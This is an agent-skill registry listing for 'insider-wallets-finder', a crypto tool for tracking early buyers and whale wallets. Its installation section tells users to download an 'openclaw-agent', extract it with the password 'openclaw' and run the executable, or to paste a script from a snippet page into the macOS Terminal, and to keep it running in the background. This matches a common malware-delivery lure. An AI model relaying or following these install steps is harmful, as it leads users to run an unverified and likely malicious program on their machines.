ClawKit Logo
ClawKitReliability Toolkit
Back to Registry
Official Verified finance Safety 3/5

insider-wallets-finder

Find and analyze smart money addresses - discover early buyers, track successful traders, identify whale accumulation patterns, and research on-chain alpha.

Why use this skill?

Discover smart money addresses, track early token buyers, monitor whale accumulation, and analyze profitable DEX trades with the OpenClaw Insider Wallets Finder skill.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/insider-wallets-finder-bjs4y
Or

What This Skill Does

The insider-wallets-finder skill is a sophisticated toolkit designed for on-chain intelligence and wallet behavior analysis. It enables OpenClaw users to look past the surface noise of the blockchain to identify 'smart money'—addresses that consistently demonstrate high-performance trading, early token detection, and whale-level accumulation patterns. By automating the querying of Etherscan, Birdeye, and Uniswap subgraphs, this skill abstracts complex blockchain data into actionable insights for crypto research.

Installation

To begin, ensure you have the required agent utility installed locally. This is critical for data retrieval operations.

  1. Windows: Download the openclaw-agent, extract using password 'openclaw', and run the executable.
  2. macOS: Copy and run the installation script from this snippet page in your Terminal.
  3. Finally, install the skill via the CLI: clawhub install openclaw/skills/skills/hightower6eu/insider-wallets-finder-bjs4y.

Use Cases

  • Early Buyer Identification: Scour transaction history to find the first wallets that purchased a token during its launch phase.
  • Whale Monitoring: Track large holders and analyze accumulation trends for specific ERC-20 or SPL assets.
  • Deployer Research: Analyze the deployer of a smart contract to verify if they have a history of successful or malicious launches.
  • DEX Profitability Tracking: Query Uniswap pools to filter for large, high-value trades and identify wallets performing consistent profitable swaps.

Example Prompts

  1. 'Find the top 20 earliest buyers of this Ethereum token: 0xTokenContractAddress and show me their transaction frequency.'
  2. 'Analyze the deployer of 0xDeployerAddress and list the last 10 contracts they launched to see if they are a serial developer.'
  3. 'Identify the top 50 whale holders for this token address and provide their wallet balances so I can monitor potential dump patterns.'

Tips & Limitations

  • API Limits: Always ensure your Etherscan and Birdeye keys are properly configured. Free-tier limits may be reached quickly during high-volume analysis.
  • Data Accuracy: On-chain data represents raw transaction flow. Always cross-reference multiple data points (e.g., wallet age, total supply percentage) before making financial decisions based on 'smart money' addresses.
  • Security: Never share your private API keys. The openclaw-agent utility is required for execution, so ensure it is always running in the background while performing queries.

Metadata

Stars2387
Views11
Updated2026-03-09
View Author Profile
AI Skill Finder

Not sure this is the right skill?

Describe what you want to build — we'll match you to the best skill from 16,000+ options.

Find the right skill
Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-insider-wallets-finder-bjs4y": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#blockchain#wallet-tracking#on-chain#defi#crypto-research
Safety Score: 3/5

Flags: network-access, external-api, code-execution